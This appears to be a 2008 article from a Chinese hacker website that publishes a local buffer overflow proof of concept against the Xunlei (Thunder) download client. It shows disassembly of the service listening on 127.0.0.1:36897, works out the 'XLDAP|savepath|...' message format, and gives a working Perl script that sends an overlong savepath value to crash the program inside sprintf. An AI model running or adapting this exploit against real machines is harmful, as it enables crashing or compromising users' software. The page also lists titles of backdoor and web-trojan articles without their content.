黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·迅雷本地溢出POC05-08·perl后门,正向和反向05-08
·嘉英网提供50-1000M免费05-08·掌控Vista从控制面板说起05-07
·XP系统桌面主题搬家小技05-07·把Windows 2008 RC1配置05-07
·用WinPE备份Windows Vis05-07·无限网络免费硬盘-易上传05-07
·火网数据中心提供30M免费05-07·新思路用Gene恢复系统管05-06
·虫网磁盘100M免费网络硬05-06·天寻网络提供30-100M免费05-06
·Windows Server 2008使用05-05·51.com提供1000M网络免费05-05
·站长扶持计划---站长中国05-05·WordPress Cookie完整性05-04
·WordPress wpSS插件ss_i05-04·Oblog漏洞五一重现05-04
·跨站脚本-攻击和防御指05-04·两个shellcode05-04
·代理工具:CTProxy 1.0 05-04·强悍挂马工具:IIS_AD I05-04
·Windows XP with SP3 VO05-04·易美网络提供1000M网络免05-04
·终点免费空间提供100M免05-04·Vista中新增命令完整版 05-01
·Windows系统中的“普通人05-01·oxyhostsfree.com提供5G05-01
[推荐]迅雷本地溢出POC
        ★★★★

迅雷本地溢出POC

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-5-8 11:06:48
以前一直在传迅雷还有0day,Activex的应该差不多了,但是也不敢怠慢,还是卸载之,今天丰初发来一URL,原来素一迅雷0day,看说明还是远程!感觉装了一个,看那个漏洞监听的端口
C:\>netstat -na|find “36897″
TCP    127.0.0.1:36897        0.0.0.0:0              LISTENING

绑定的本地IP啊?!那就说明这个是不可以远程的,只能本地了。
……
23132CBE    68 B4C61323     push    2313C6B4                         ; ASCII “savepath”
23132CC3    57              push    edi
23132CC4    FFD6            call    esi
23132CC6    59              pop     ecx
23132CC7    84C0            test    al, al

……

23132CEF    85FF            test    edi, edi
23132CF1    74 02           je      short 23132CF5
23132CF3    8BCF            mov     ecx, edi
23132CF5    B8 D4C61323     mov     eax, 2313C6D4                    ; ASCII “XLDAP”
23132CFA    50              push    eax
23132CFB    52              push    edx
23132CFC    51              push    ecx
23132CFD    50              push    eax
23132CFE    8D85 5CFEFFFF   lea     eax, dword ptr [ebp-1A4]
23132D04    68 C0C61323     push    2313C6C0                         ; ASCII “%s|%s|%s|%s”
……

根据上面可以分析出来这个端口接受数据的格式是XLDAP|A|B|XLDAP,A是方法,B是值。又偷懒看了下介绍,问题出在savepath方法上,那么构造数据就很简单了,POC如下

以下是引用片段:
#!/usr/bin/perl
use IO::Socket;

if ($socket = IO::Socket::INET->new(PeerAddr => “127.0.0.1″,PeerPort => “36897″,Proto => “TCP”))
{
$exploit  = “XLDAP|savepath|”.
#    (”A” x 397).
(”A” x 500).
“|XLDAP”;

print $socket $exploit;
sleep(1);
close($socket);
}
else
{
print “Cannot connect to localhost:36897 port\n”;
}

如果用python写exp的话你会很郁闷,因为py总是会给偶多出一个换行,就算使用[:-1]这种方法也没用,郁闷,目前不清楚是传递的过程还是print的时候,谁知道是什么原因?
23132D09    50              push    eax
23132D0A    FF15 54E51323   call    dword ptr [<&MSVCRT.sprintf>]   ; crash
23132D10    8D85 5CFEFFFF   lea     eax, dword ptr [ebp-1A4]
就是在执行这步sprintf函数复制的时候导致crash。

文章录入:cainiaowang    责任编辑:xinlian 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886